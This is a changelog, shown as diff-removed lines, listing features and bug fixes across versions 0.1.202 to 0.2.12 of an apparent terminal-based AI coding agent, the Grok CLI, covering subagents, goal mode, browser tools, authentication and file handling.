-- Miscellaneous bug fixes
-
-
-# 0.2.12
-
-## Features
-
-- **Computer connection status** now shows a connecting pill during terminal session initialization.
-- **/check** and subagents now read and follow full AGENTS.md rules from the repo.
-
-## Bug Fixes
-
-- **--max-turns** now correctly counts tool-use cycles instead of total messages.
-- **@-mention file search** now works again for local agent sessions.
-- **Rendered images, files, and citations** now replay correctly in chunk-mode history.
-- **`/context`** now displays the correct auto-compact threshold for the active model instead of always 85%.
-- **Model responses** are no longer silently dropped when the gateway emits legacy channel values.
-- **Prompt responses** no longer resolve before the turn's final output chunks reach the client.
-
-
-# 0.2.11
-
-## Bug Fixes
-
-- Minor bug fixes
-# 0.2.10
-
-## Features
-
-- **`/check`** has been renamed to **`/check-work`**; old command continues to work during transition.
-
-## Bug Fixes
-
-- **Images smaller than 8×8 pixels** are now rejected with a clear message instead of producing blocky results.
-
-
-# 0.2.9
-
-## Features
-
-- **Added --device-code** as alias for device authentication and improved headless auth error messages.
-
-
-# 0.2.8
-
-## Features
-
-- **New /login** slash command lets you re-authenticate from within a session without quitting.
-- **Compaction summaries** now include the full transcript path so the model can reference prior details.
-- **Cursor skills and rules** are now discovered alongside Grok and Claude directories.
-
-## Bug Fixes
-
-- **Fixed monitor tool** schema to show the correct 10-hour default timeout.
-- **Fixed a panic** that could occur when installing marketplace plugins.
-
-
-# 0.2.7
-
-## Features
-
-- **Image generation and image editing** can now be toggled independently via [features] in config.toml.
-
-## Bug Fixes
-
-- **Background tasks** started inside subagents now continue running after the subagent session ends.
-
-
-# 0.2.6
-
-## Bug Fixes
-
-- **Background tasks** started inside subagents now continue running after the subagent session ends.
-- **Image description** now reliably uses the grok-build model instead of falling back to the active session model.
-
-
-# 0.2.5
-
-## Bug Fixes
-
-- **Drag-and-drop** and pasting images or files now works correctly on Windows.
-
-
-# 0.2.4
-
-## Features
-
-- **image_gen** now uses the higher-quality grok-imagine-image-quality model.
-
-## Bug Fixes
-
-- **read_file** now correctly passes embedded base64 images to the model as vision tokens instead of truncated fragments.
-
-
-# 0.2.3
-
-## Features
-
-- Memory system: /remember command, note modal with raw/enhanced preview, x.ai/memory/rewrite ACP extension, Ctrl+F fullscreen toggle for /memory modal.
-- Agent configuration: /config-agents modal with agents, personas, and defaults.
-- Goal classifier: end-to-end goal tracking with subagent-powered classification.
-
-
-# 0.2.2
-
-
-# 0.2.1
-
-## Bug Fixes
-
-- **Pasting or dropping images** now succeeds for truncated, CRC-corrupt, or tiny files instead of failing silently.
-
-
-# 0.2.0
-
-## Performance
-
-- **Large chat sessions** now use substantially less memory and run faster during forks, rewinds, and compaction.
-
-
-# 0.1.220-alpha.4
-
-## Features
-
-- **Version output** now shows [alpha] or [stable] in `--version`, banners, `/session-info`, and `grok inspect`.
-- **New "always-approve"** option appears first in permission dialogs. Bash commands now resolve reliably on NixOS and Homebrew installs.
-
-## Bug Fixes
-
-- **Auxiliary model calls** such as session titles and image descriptions now succeed for API-key users.
-
-
-# 0.1.220-alpha.3
-
-## Bug Fixes
-
-- **Pasting or dropping files from Finder** and handling multiple images now works reliably on macOS.
-- **Clipboard copy and paste** now works reliably on Linux Wayland desktops.
-
-
-# 0.1.220-alpha.2
-
-## Bug Fixes
-
-- **Web and X search tools** now activate correctly after switching to a model that supports backend search.
-
-
-# 0.1.220-alpha.1
-
-## Features
-
-- **Release notes** are now fetched from the CDN instead of being bundled inside the binary.
-
-## Bug Fixes
-
-- **--restore-code** now stashes dirty changes before restoring and shows clear success or failure messages.
-- **Shell** background tasks now create their output file immediately and AwaitShell exits early on pattern match.
-
-
-# 0.1.220
-
-## Features
-
-- **Model selection** now respects API-key permissions and defaults auxiliary calls like summaries to your current model.
-- **Release notes** command now loads the latest notes from the network instead of bundled files.
-- **Version output** now shows [alpha] or [stable] labels based on the release-channel pointer.
-- **Permission prompts** now offer an always-approve option; shell commands resolve more reliably across installs.
-
-## Bug Fixes
-
-- **--restore-code** now safely stashes your uncommitted changes before restoring and shows clear success or failure messages.
-- **Pasting or dropping files** from Finder now works reliably and images no longer lose their numbers or chips.
-- **Background shell output** is now available immediately after starting and AwaitShell exits early when a pattern matches.
-- **Copy to clipboard** now works reliably on Linux Wayland desktops using wl-copy or xclip fallbacks.
-- **Web and X search** now activate correctly after switching to a backend-search model without restarting the session.
-
-
-# 0.1.219-alpha.1
-
-## Bug Fixes
-
-- **read_file** now always returns the file content instead of a duplicate-read message after compaction.
-
-
-# 0.1.219
-
-## Bug Fixes
-
-- **read_file** tool now always returns file content instead of a duplicate-read message after compaction.
-
-
-# 0.1.218-alpha.1
-
-## Features
-
-- **Project instruction files** now recognize.claude/CLAUDE.md and.claude/CLAUDE.local.md.
-
-## Bug Fixes
-
-- **run_terminal_command** on Windows PowerShell no longer suggests unavailable Unix utilities.
-
-
-# 0.1.218
-
-## Features
-
-- **Project instruction files** named.claude/CLAUDE.md are now discovered automatically.
-
-## Bug Fixes
-
-- **Windows PowerShell users** no longer see model suggestions for Unix commands that do not exist.
-
-
-# 0.1.217-alpha.5
-
-## Features
-
-- **New `/export` slash command** and `grok export` CLI command let you save or copy conversation transcripts as Markdown.
-
-## Bug Fixes
-
-- **Image pasting** now correctly prefers images from the clipboard and keeps dragged screenshots visible instead of losing them.
-- **Video generation** no longer forces short 5-second clips; longer durations now work as requested.
-
-
-# 0.1.217-alpha.4
-
-## Features
-
-- **New `grok plugin` commands** let you manage plugins and marketplaces directly from the terminal.
-
-## Bug Fixes
-
-- **Image pasting** now correctly prefers images from the clipboard and keeps dragged screenshots visible.
-- **Subagents** now correctly use bring-your-own-key credentials when the parent model specifies them.
-- **MCP server connections** no longer fail with initialization errors under concurrent tool calls.
-- **Signal sync** is more resilient to transient authentication hiccups.
-- **Authentication recovery** after subscription changes no longer causes duplicate IdP calls.
-
-
-# 0.1.217-alpha.3
-
-## Features
-
-
-## Bug Fixes
-
-- **Image description** now works correctly when using custom models with bring-your-own-key configs.
-- **Subagents** now correctly show the parent model's display name instead of the internal routing slug.
-
-
-# 0.1.217-alpha.2
-
-## Bug Fixes
-
-- **Model picker** now correctly shows all entries including aliases when multiple models share the same slug.
-
-
-# 0.1.217-alpha.1
-
-## Features
-
-
-## Bug Fixes
-
-- **Tool calls** now appear in the output as soon as they start instead of waiting until they finish.
-
-
-# 0.1.217
-
-## Features
-
-- **Todo list reminders** now appear at turn end when pending tasks remain after compaction.
-- **Laziness detection** can now be enabled per-model to automatically nudge idle agents.
-- **New `grok plugin` commands** let you manage plugins and marketplaces directly from the terminal.
-- New `/export` command and `grok export` let you save or copy conversation transcripts as Markdown.
-
-## Bug Fixes
-
-- **Pasting images** from the clipboard or dragged screenshots now works reliably without temporary paths or duplicates.
-- **Subagents** now correctly use per-model API keys instead of falling back to OAuth when both are present.
-- **Model picker** now shows all models including aliases like "auto" when multiple entries share a slug.
-- **Tool calls** now appear in the scrollback immediately when dispatched.
-- **Cursor image and PDF handling** now processes attachments reliably without errors.
-- Signal tracking for sessions is now more resilient to temporary login hiccups.
-- Subscription detection now correctly respects access gates from the server.
-- Image description now works reliably with custom models and bring-your-own-key configs.
-- Subagents now show the correct parent model name instead of an internal routing slug.
-- Authentication recovery after subscription changes no longer causes duplicate login attempts.
-- Video generation no longer forces short ~5s clips when no duration is specified.
-- **Fixed excessive authentication errors** that could occur during token refresh in background operations.
-
-
-# 0.1.216-alpha.1
-
-## Features
-
-- **Grok** now reminds itself to take action in very long conversations while still obeying instructions like "just plan".
-
-
-# 0.1.216
-
-## Features
-
-- **Grok** now reminds itself to execute plans in long conversations while strictly following instructions like "just plan".
-
-## Bug Fixes
-
-- **Image pasting** on Linux now works reliably when the clipboard contains images.
-
-
-# 0.1.215-alpha.1
-
-## Features
-
-- **Default models** now use plan mode tools (enter/exit plan mode, ask user) unless overridden.
-
-## Bug Fixes
-
-- **Skills** now resolve relative links to bundled files like reference docs inside the skill directory.
-- **Subagents** no longer cause the parent session to lose write or execute tools.
-
-
-# 0.1.215
-
-## Features
-
-- **Default agent behavior** now uses plan mode tools for models without an explicit agent_type.
-
-## Bug Fixes
-
-- **Relative links** inside skill files now resolve to absolute paths automatically.
-- **Subagents** no longer cause the parent session to lose access to tools.
-
-
-# 0.1.214-alpha.1
-
-
-# 0.1.214
-
-## Features
-
-
-## Bug Fixes
-
-- **Image and video generation** no longer causes the model to repeat internal instructions about inline display.
-- **Sessions** now resume reliably even if the original model is removed from the catalog.
-- **Fixed crashes** when tool output or prompts contain multibyte characters like CJK or emoji.
-- **Web search** now correctly switches between local and hosted tools when changing models.
-- **Custom agent profiles** from clients are now respected for default models.
-
-
-# 0.1.213-alpha.7
-
-## Features
-
-- **New settings pane** lets users configure appearance, themes, and behavior directly in the terminal UI.
-- **New image_edit tool** supports reference-based editing using uploaded photos or data URLs.
-- **Goal mode** now surfaces verification-blocked pauses with human-readable reasons and resume guidance.
-- **Added `grok logout` subcommand** to sign out from the terminal without launching the TUI.
-- **Backend search** is now enabled by default for web_search and x_search.
-- **Added per-MCP-server `expose_image_base64` option** so raw image data remains available in tool output.
-- **Improved credit-limit experience** for max-tier users with an inline scrollback card instead of a modal.
-- **Automatically detects** mid-session subscription upgrades after a credit-limit error.
-
-## Bug Fixes
-
-- **Goal mode** now auto-pauses on repeated failures or doom loops and resumes cleanly without errors.
-- **Fixed sessions** in directories with very long or CJK names that previously failed with "File name too long".
-- **Fixed /btw errors** on Anthropic opus models caused by orphaned tool calls and temperature conflicts.
-- **Doom-loop halts** now correctly report harness termination instead of misleading "user cancelled" messages.
-- **API-key users** no longer see unavailable models such as grok-build that 404 on selection.
-- **Image and video generation** now recover better from network issues and large response bodies.
-- **Improved error messages** when hitting a subscription wall with an API key set, suggesting `grok logout`.
-- **Removed --budget flag** from /goal and made goal verification stricter.
-- **Fixed a crash** on exit when using MCP servers that require token refresh.
-- **Fixed follow-up errors** after backend search and prevented unsupported tools from reaching certain models.
-
-
-# 0.1.213-alpha.6
-
-## Performance
-
-- **Large sessions** now upload and process without long stalls or excessive memory use.
-
-
-# 0.1.213-alpha.5
-
-## Features
-
-- **Web search and X search** can now execute server-side with full session persistence when KIGI_BACKEND_SEARCH is enabled.
-- **read_file** can now append configurable rule reminders for matching.cursor/rules files when enabled.
-- **read_file** now extracts text from PowerPoint (.pptx) files in addition to PDF and images.
-
-## Bug Fixes
-
-- **run_terminal_cmd** now reports clearer "exit: killed (reason)" headers for processes terminated by timeout or cancellation.
-- **Fixed model errors** when switching to non-reasoning models after previously setting reasoning effort.
-- **Compaction summaries** no longer cause the model to echo the original summarization instructions after resume.
-
-
-# 0.1.213-alpha.4
-
-## Features
-
-- **New /goal slash command** for tracking multi-step coding goals with live status and automatic pausing on Ctrl+C.
-- **Goal mode** is now opt-in via config.toml or the KIGI_GOAL environment variable.
-- **Commands** in workspace/proxy mode now preserve environment variables, cwd, functions, and aliases across calls.
-- **Background tasks** now report termination signals, reject self-killing patterns, and support unbounded timeouts.
-- **Grok CLI** now runs natively on Intel Macs via x86_64 builds.
-
-## Bug Fixes
-
-- **Goal mode prompts** now work on all platforms and correctly place source code in your project directory.
-- **Background tasks** now correctly trigger auto-wake even when a blocking wait times out.
-- **Goal status bar** now shows the correct deliverable number matching the detail modal.
-- **Task tool** now accepts model-emitted paths containing stray quotes or a leading tilde.
-- **Subagent task output** no longer appears twice in the scrollback or leaves trailing system reminders.
-- **Failed background subagents** now report errors and appear in task lists instead of silently disappearing.
-- **Subscription purchases** now correctly refresh authentication so API calls succeed after the paywall lifts.
-
-## Performance
-
-- **MCP tool output** is now truncated earlier to reduce wasted context when models rarely follow up.
-
-
-# 0.1.213-alpha.3
-
-## Bug Fixes
-
-- **Credit status** now updates live after topping up or changing spending limits when at your usage cap.
-- **Paywall** now lifts automatically after subscribing via grok login or external purchase without needing to re-login.
-- **Images from /imagine** no longer render twice in the scrollback.
-
-
-# 0.1.213-alpha.2
-
-## Bug Fixes
-
-- **Fixed terminal UI corruption** on macOS that occurred when system malloc messages interleaved with the interface.
-
-
-# 0.1.213-alpha.1
-
-## Features
-
-- **Marketplace plugins** from URLs can now be pinned to a specific commit SHA for tamper protection.
-- **Terminal output** now shows both the start and end of long command results instead of only the tail.
-- **/imagine** now works reliably after session reload and shows images directly in tool results.
-- **Images and PDFs** read with the file tool now appear immediately instead of in a later message.
-
-## Bug Fixes
-
-- **Plugins and Marketplace** reloads now show a clear loading indicator instead of misleading per-item badges.
-- **Search tool** now gives the model better guidance for finding MCP tools by server and action name.
-- **Windows users** now get a more reliable shell (PowerShell preferred) that avoids path mangling.
-- **Model list** no longer gets stuck on only grok-build after waking from sleep on macOS.
-- **Custom xai_api_base_url** settings in config.toml now correctly route session commands for enterprise deployments.
-
-
-# 0.1.213
-
-## Features
-
-- **/imagine** now renders generated images inline in tool results.
-- **Images from read_file** now appear inline inside tool results instead of a follow-up message.
-- **Goal mode** (opt-in) now tracks objectives and deliverables with live progress updates via the UpdateGoal tool.
-- **New `/goal` slash command** lets you set objectives, track deliverables, pause/resume, and receive live progress updates during long tasks.
-- **New Settings pane** (consolidated) for configuring appearance, themes, and general options directly from the UI.
-- **Goal mode** is now opt-in via `[features] goal = true` in config.toml or the KIGI_GOAL environment variable.
-- **Rewind (Ctrl+Z)** now works in proxy/hub mode by routing file-state tracking through the remote workspace.
-- **Paywall** now lifts automatically after subscribing via grok login or external purchase without needing to re-login.
-- **Commands** in workspace/proxy mode now preserve environment variables, cwd, functions, and aliases across calls.
-- **New /goal slash command** for tracking multi-step coding goals with live status and automatic pausing on Ctrl+C.
-- **Grok CLI** now runs natively on Intel Macs via x86_64 builds.
-- **New `image_edit` tool** supports editing images from reference photos.
-- **Goal mode** now supports a "verification blocked" pause state with a user-visible reason.
-- **read_file** now extracts text from PowerPoint (.pptx) files in addition to PDF and images.
-- **Goal mode** verifiers now act as reviewers and subagent resumes use the latest ID.
-- **New `grok logout` command** clears your cached login session directly from the terminal.
-- **Web search and X search** now run server-side by default for improved results.
-- **MCP image tools** can now expose raw base64 data so agents can forward images via file tools.
-- **Max-tier users** now see an inline message with pay-as-you-go options when hitting credit limits.
-
-## Bug Fixes
-
-- **Windows shell detection** now prefers PowerShell and prevents Git Bash path mangling.
-- **Fixed model list** getting stuck on only grok-build after waking from sleep on macOS by refreshing the catalog on every auth token update.
-- **Fixed cross-platform prompt** text and ensured goal-mode workers write source code in the project workspace rather than temporary directories.
-- **Enterprise config fix**: setting `xai_api_base_url` in config.toml now correctly routes session commands without also needing to set `cli_chat_proxy_base_url`.
-- **Fixed hub disconnects** so the CLI degrades gracefully instead of panicking when the Computer Hub WebSocket drops.
-- **Doom-loop terminations** now show "Agent was unable to make progress — turn ended in Xs." instead of the misleading user-cancel message.
-- **Fixed terminal UI corruption** on macOS that occurred when system malloc messages interleaved with the interface.
-- **Images from /imagine** no longer render twice in the scrollback.
-- **Goal status bar** now shows the correct deliverable number matching the detail modal.
-- **Task tool** now accepts model-emitted paths containing stray quotes or a leading tilde.
-- **Subagent task output** no longer appears twice in the scrollback or leaves trailing system reminders.
-- **Background tasks** now report termination signals, reject self-killing patterns, and support unbounded timeouts.
-- **Failed background subagents** now report errors and appear in task lists instead of silently disappearing.
-- **Subscription purchases** now correctly refresh authentication so API calls succeed after the paywall lifts.
-- **run_terminal_cmd** now reports clearer "exit: killed (reason)" headers for processes terminated by timeout or cancellation.
-- **Fixed model errors** when switching to non-reasoning models after previously setting reasoning effort.
-- **Compaction summaries** no longer cause the model to echo the original summarization instructions after resume.
-- **Fixed /btw** 400 errors on certain Anthropic models by cleaning up mid-turn tool state.
-- **API key users** no longer see unavailable models like grok-build in the model list.
-- **Image and video generation** now handles slow or interrupted network responses more reliably without generic decode errors.
-- **Fixed error messages** when hitting a subscription wall with an API key set, now suggesting `grok logout`.
-- **Fixed a crash** on exit when using MCP servers that require token refresh.
-- **Reduced 400 errors** on background flush/dream operations for thinking models.
-- **Fixed follow-up search errors** and ensured backend search only activates on supported models.
-- **Subscription tier upgrades** are now detected automatically after a credit limit error without needing to log out.
-
-## Performance
-
-- **Large sessions** now upload and process without long stalls or excessive memory use.
-
-
-# 0.1.212-alpha.5
-
-## Bug Fixes
-
-- **Fixed /btw side questions** failing with 400 errors on models that use extended thinking.
-
-
-# 0.1.212-alpha.4
-
-## Breaking Changes
-
-- **Subagents** now always start fresh and must be fully briefed via the prompt instead of inheriting parent conversation history.
-
-## Features
-
-- **Memories** now avoid storing low-value tool counts and file lists while skipping near-duplicate entries via semantic similarity checks.
-
-
-# 0.1.212-alpha.3
-
-## Features
-
-- **Added configuration options** for the auto-compaction threshold on a per-model or global basis.
-- **Shows 'Logged in with API key'** indicator on the welcome screen when using an API key.
-
-## Bug Fixes
-
-- **Improved error messages** when calling use_tool with an invalid or built-in tool name.
-- **Fixed context window** incorrectly dropping to 128k for some models, preventing mid-session cascading compactions.
-- **Fixed incorrect context windows** for models referenced by multiple catalog entries with different keys.
-
-
-# 0.1.212-alpha.2
-
-## Features
-
-- **Linkify URLs and file paths** across all TUI output
-- **Improve /sessions modal** and /new /fork banners
-- **Improve review plan UX** in the TUI
-
-## Bug Fixes
-
-- **Use multipart upload** for S3 payloads exceeding 8 MiB
-
-
-# 0.1.212-alpha.1
-
-## Features
-
-- **web_fetch** now downloads and saves images and videos to disk (with magic-byte checks) instead of rejecting them.
-
-
-# 0.1.212
-
-## Breaking Changes
-
-- **Subagents** no longer support fork_context; they always start fresh and must be fully briefed via the prompt.
-
-## Features
-
-- **Images and videos** now display directly in the scrollback with click-to-play support.
-- **Skills** now show their author in the extensions list and search results.
-- **web_fetch** now downloads and saves images and videos to disk instead of rejecting them.
-- **Added configuration options** for the auto-compaction threshold on a per-model or global basis.
-- **Shows 'Logged in with API key'** indicator on the welcome screen when using an API key.
-
-## Bug Fixes
-
-- **Long bash task output** no longer inflates context; full logs remain available via disk pointers.
-- **Auth file locking** is now more robust against hung processes and concurrent refreshes.
-- **Concurrent logins** and refreshes now wait efficiently without timeouts or retry storms.
-- **Improved error messages** when calling use_tool with an invalid or built-in tool name.
-- **Fixed context window** incorrectly dropping to 128k for some models, preventing mid-session cascading compactions.
-- **Fixed incorrect context windows** for models referenced by multiple catalog entries with different keys.
-- **Improved memory quality** by removing noisy auto-saved details and avoiding duplicate stored memories.
-- **Fixed `/btw` errors** on models that use extended thinking by excluding internal reasoning from side-question requests.
-
-## Performance
-
-- **search_tool** now instantly finds exact tool names instead of falling back to fuzzy search.
-- **search_tool** now better matches compound tool names like grafana-ai__SearchDashboards.
-
-
-# 0.1.211-alpha.3
-
-## Features
-
-- **New browser tools** for tab and network inspection.
-- **Browser tools security hardening** with cookie mode and domain allowlisting.
-- **Plugin install shorthand** now accepts owner/repo format.
-- **Memory modal** now renders markdown with mouse interaction and scrollbar.
-- **Keyboard shortcut dialog** (Ctrl+.) redesigned for discoverability.
-- **Ask-question modal UX** with double-click selection and copy support.
-- **Loading spinner** added to image viewer overlay.
-- **PowerShell install scripts** added for Windows users.
-
-## Bug Fixes
-
-- **Fixed diff line numbers** to show correct absolute positions.
-- **Fixed tasks stuck** in killing state in tasks pane.
-- **Privacy opt-out** now persists across token refresh.
-- **Fixed infinite restart loop** during auto-update failures.
-- **Gitignored files** now readable by default.
-- **Fixed auth refresh storm** on expired tokens.
-- **/privacy opt-out** now works for personal OIDC users.
-- **Model catalog** now retries after sleep/resume.
-- **Fixed terminal rendering leak** on exit.
-
-
-# 0.1.211-alpha.2
-
-## Bug Fixes
-
-- **Login now handles corrupt authentication files** by backing them up instead of prompting repeatedly.
-- **Fixed loops getting stuck** when resuming sessions.
-- **Stopped duplicate notifications** for background tasks and subagents waited on directly.
-- **Loop indicators now disappear** properly when subagents shut down.
-
-
-# 0.1.211
-
-## Features
-
-- **Added browser tools** for navigation, screenshots, and network inspection via Chrome.
-- **Background tasks and subagents** now automatically notify the agent when they finish.
-- **Browser tools** now use safer cookie handling and domain restrictions by default.
-
-## Bug Fixes
-
-- **Skills** now reliably apply persona instructions to subagents via shared definitions.
-- **Notifications** from background tasks now render correctly without duplication.
-- **Login** now recovers from corrupted auth files instead of failing repeatedly.
-- **Loop tasks** no longer get stuck when resuming previous sessions.
-- **Directly waited** background tasks no longer trigger extra notifications.
-- **Loop indicators** are now properly removed when subagents shut down.
-- **run_terminal_cmd** tool name restored; background parameter rename preserved.
-- **Model picker** now recovers automatically after sleep/resume or temporary network issues instead of staying stuck on Grok Build.
-- **MCP server connections** now succeed for servers that enforce audience binding on OAuth tokens.
-- **read_file** now accesses gitignored files by default (grep/list_dir/search_replace still block them unless configured).
-- **--no-ask-user** flag now correctly disables the ask_user_question tool in both TUI and headless modes.
-
-
-# 0.1.210-alpha.6
-
-## Bug Fixes
-
-- **File writes on Windows** now automatically retry if briefly locked by editors or antivirus.
-- **Login process** now waits up to 10 minutes instead of 5 and shows a clearer timeout message.
-- **Terminal interface** no longer gets garbled by subprocesses like git or npm.
-- **Plan mode** no longer activates unexpectedly from tool descriptions containing similar phrases.
-- **Authentication** now recovers immediately when using multiple terminals after token refreshes.
-
-
-# 0.1.210-alpha.5
-
-
-# 0.1.210-alpha.4
-
-## Bug Fixes
-
-- **`grok sessions search`** now finds local and remote sessions correctly, and **`grok -r <id>`** restores remote sessions reliably.
-
-
-# 0.1.210-alpha.3
-
-
-# 0.1.210-alpha.2
-
-## Features
-
-- **Tool permission prompts and lists** now clearly show server name followed by action.
-
-
-# 0.1.210-alpha.1
-
-## Bug Fixes
-
-- **Model list** no longer collapses to default after long inactivity or re-login.
-- **Session restore** no longer crashes on Windows after system reboot.
-- **Fixed authentication failures** after token refresh errors.
-- **Completed background tasks** now remain queryable via get_task_output.
-
-## Performance
-
-- **Interactive sessions** now initialize MCP servers progressively for faster startup.
-
-
-# 0.1.210
-
-## Features
-
-- **Faster startup** for interactive sessions with progressive MCP loading.
-- **MCP tools now show** as 'Server: Action' in permission screens.
-
-## Bug Fixes
-
-- **Full model list** now survives long inactivity, logins, and token refreshes.
-- **Fixed crash** restoring sessions on Windows after system reboot.
-- **Windows file saves** now retry brief editor or AV locks automatically.
-- **Completed background tasks** now remain queryable via get_task_output.
-- **Fixed terminal garbage** during auto-updates on macOS.
-- **`grok sessions search`** now finds local and remote sessions correctly, and **`grok -r <id>`** restores remote sessions reliably.
-- **Login timeout** increased to 10 minutes with clearer error message.
-- **Fixed pager getting stuck in plan mode** due to tool titles mentioning plan commands.
-
-
-# 0.1.209
-
-## Features
-
-- **Read file** now renders PDF pages as images with optional page range.
-- **PDF files now render as images** when read by the AI assistant.
-- **PDF files can now be read as text** by specifying pages='text' in the read tool.
-
-## Bug Fixes
-
-- **Subagents** now show as cancelled when you reject dangerous commands like `rm -rf`.
-- **Model selection** no longer resets on login or token refresh.
-- **Background tasks** now wait for completion when `block=true` is requested.
-- **Subagent summaries** now show accurate tool calls and turns.
-- **AI now sees** completed background bash tasks between turns.
-- **Sessions with content** now appear in desktop sidebar after restart.
-- **AI warns** about duplicate background tasks before starting new ones.
-- **Resumed sessions now inform** the AI about any background tasks still running from before.
-- **Background tasks automatically resume** the conversation when they finish, even if idle.
-- **Python background scripts now stream output** in real-time without buffering delays.
-
-
-# 0.1.208-alpha.2
-
-## Features
-
-- **PDF files** can now be read to extract and display rendered page images.
-- **PDF files now render as page images** when using the read_file tool.
-- **Extract plain text from PDFs** using pages="text" or format="text" in read_file.
-
-## Bug Fixes
-
-- **Subagents cancelled by permission prompts** now correctly reported to parent agents.
-- **Custom model selections** no longer reset on login, logout, or token refresh.
-- **Blocking task output requests** now wait reliably for completion.
-- **Subagent stats** in task output and session cards now accurate.
-- **Background task completions** now promptly visible to model between turns.
-- **Saved sessions** now appear correctly in desktop sidebar after restart.
-- **Resumed sessions now inform model** about previously running background tasks.
-- **Model automatically wakes up** when background tasks complete.
-
-
-# 0.1.208-alpha.1
-
-## Features
-
-- **Shell command suggestions** from history and PATH now appear as ghost text.
-- **File and directory completion** now available in shell suggestions.
-- **AI shell command suggestions** enabled via KIGI_SUGGESTIONS_AI=1 environment variable.
-- **Plan approval status** now clickable; new Abandon option exits plan mode.
-
-## Bug Fixes
-
-- **Fixed restoring sessions** from cloud without local cache.
-- **Fixed image errors** when loading old sessions with bad images.
-- **Skill commands** now display cleanly in history, titles, and search.
-- **Cloud sessions** now report correct OS, shell, paths, and git status.
-
-
-# 0.1.208
-
-## Features
-
-- **Shell command suggestions** now appear as dim italic ghost text after the cursor.
-- **File and directory path completion** now available in shell suggestions.
-- **AI-powered shell suggestions** configurable via `[suggestions]` or env vars.
-- **Plan status** now clickable; new **Abandon plan** button and `d` key.
-
-## Bug Fixes
-
-- **Remote session restores** no longer fail with 401 auth errors.
-- **Corrupt images** in history are now skipped or replaced with placeholders.
-- **Skill commands** now display cleanly in history, search, and titles.
-- **Cloud sessions** now use correct remote OS, shell, paths, and git status.
-- **Bundled skills** like `/check` and `/best-of-n` now work in TUI sessions.
-
-
-# 0.1.207
-
-## Features
-
-- **New /check-work (/verify, /check) and /best-of-n (/bon)** slash commands now work in headless mode.
-
-## Bug Fixes
-
-- **Fixed session workspace setup** so git, shell, and file operations no longer fail.
-
-
-# 0.1.206-alpha.1
-
-## Features
-
-- **Simple mode** now persists across sessions in config.toml.
-
-## Bug Fixes
-
-- **Git and bash commands now work** reliably in the desktop app on Windows.
-- **Slash command autocomplete** no longer duplicates unique skill entries.
-- **Git branch changes** now update the status bar after shell commands.
-
-
-# 0.1.206
-
-## Features
-
-- **Simple mode** now saved in config.toml across restarts.
-
-## Bug Fixes
-
-- **Fixed git and bash commands** failing in Grok Desktop on Windows.
-- **Fixed duplicate slash commands** in autocomplete dropdown.
-
-
-# 0.1.205-alpha.1
-
-## Features
-
-- **New `/check-work`** and **`/best-of-n`** commands** for self-verification and parallel task solving.
-
-## Bug Fixes
-
-- **Fixed authentication failures** during file uploads.
-- **Fixed terminal display corruption** from mouse events and subprocess output.
-- **Fixed sessions stuck** on read-only filesystem after login.
-
-
-# 0.1.205
-
-## Features
-
-- **New `/check-work` and `/best-of-n`** commands for self-verification and parallel solving.
-
-## Bug Fixes
-
-- **Fixed authentication failures** during file and artifact uploads.
-- **Fixed terminal garbling** from mouse events and child process output.
-
-
-# 0.1.204-alpha.3
-
-## Features
-
-- **Remote tools** from hub-registered workspace servers are now discoverable and callable in sessions.
-- **Worktree folders** now use readable names like 'projects-my-repo' instead of session IDs.
-- **Session lists** now show AI-generated titles, git branches, repo names, and worktree labels.
-- **`grok -w my-worktree`** creates a custom-named worktree folder.
-- **Session picker** now groups entries by repository with headers and indents.
-- **Remote workspaces** now handle multiple sessions over one connection.
-- **`/usage manage`** now opens billing page; **`grok login`** enforces tiers correctly after refresh.
-
-## Bug Fixes
-
-- **Fixed AI-suggested paths** missing leading slash or quotes in tools like grep.
-- **Fixed file upload failures** during large batch transfers over unstable connections.
-
-
-# 0.1.204-alpha.2
-
-## Bug Fixes
-
-- **Error messages for model not found or auth failures** now show available models, auth type, version, and login fix instructions.
-
-
-# 0.1.204-alpha.1
-
-## Features
-
-- **Subagents** now enabled by default, fixing skills like `/implement` and `/execute-plan`.
-
-## Bug Fixes
-
-- **Legacy web login** no longer treated as first-party xAI account for sharing and billing; prompts **`grok login`** upgrade.
-- **Billing display** now includes pay-as-you-go status and monthly limits with better error handling.
-- **Copy auth URLs** now works in Docker containers and displays cleanly for external providers.
-
-## Performance
-
-- **Large tool outputs** shortened when sent to Grok, full text saved to file in session folder.
-
-
-# 0.1.204
-
-## Breaking Changes
-
-- **Legacy authentication** removed; run **`grok login`** to upgrade to OAuth.
-
-## Features
-
-- **Hub tools** like read_file now discoverable and callable in pager sessions.
-- **Worktree directories** now named readably (e.g., projects-my-repo) instead of random IDs.
-- **Session lists** show AI-generated titles, branches, repos, and worktree labels.
-- **Session picker** now groups entries by repository for easier navigation.
-- **Remote workspace servers** supported via **`--hub-workspace-mode remote=<id>`**.
-- **Subagents** now enabled by default, fixing `/implement` and `/execute-plan` skills.
-- **`/usage manage`** opens billing page; **`/usage`** or `show` displays credits.
-
-## Bug Fixes
-
-- **Legacy web login** no longer treated as premium xAI account; run **`grok login`** instead.
-- **Session picker** removes duplicate blank sessions from same folder.
-- **Sessions from deleted worktrees** still appear in picker after restart.
-- **Credit bar** now shows pay-as-you-go status and monthly usage limits.
-- **Auth URLs copy** correctly in Docker containers and display cleanly for external providers.
-- **Model/auth errors** now show available models, auth type, version, and login fixes.
-- **Tool path resolution** fixed for absolute paths missing leading slash.
-- **Fixed upload failures** from HTTP/2 connection degradation.
-- **Memory search** now reliably includes global and workspace MEMORY.md files.
-
-## Performance
-
-- **Large tool results** shortened in chat; full text saved to file with path link.
-
-
-# 0.1.203-alpha.2
-
-## Bug Fixes
-
-- **`/btw` slash command** now works correctly with all backends including Anthropic.
-
-
-# 0.1.203-alpha.1
-
-## Features
-
-- **New `grok-build-v2` agent** available in config.toml for prompt/tool testing.
-
-## Bug Fixes
-
-- **Fixed duplicate MCP and skill reminders** when resuming sessions.
-- **Plan review overlay** now always shown, even in always-approve mode.
-- **Fixed empty model list** and unknown model after login or logout.
-- **Fixed unwanted login prompts** during brief network issues at startup.
-- **Fixed `grok sessions list`** auth failures.
-
-
-# 0.1.203
-
-## Features
-
-- **New `grok-build-v2` agent** option in config.toml for testing prompt and tool changes.
-- **Session picker `/load`** deep search now shows spinner, content matches, and previews on expand.
-
-## Bug Fixes
-
-- **Resumed sessions** no longer duplicate MCP server and skill reminders.
-- **Plan mode exits** now always show interactive approval, even in always-approve mode.
-- **Model picker** now updates correctly after login/logout without empty lists or 'unknown'.
-- **`grok sessions list`** now works reliably after login.
-- **`/btw` slash command** now supports all backends like Anthropic Messages API.
-
-
-# 0.1.202-alpha.1
-
-## Features
-
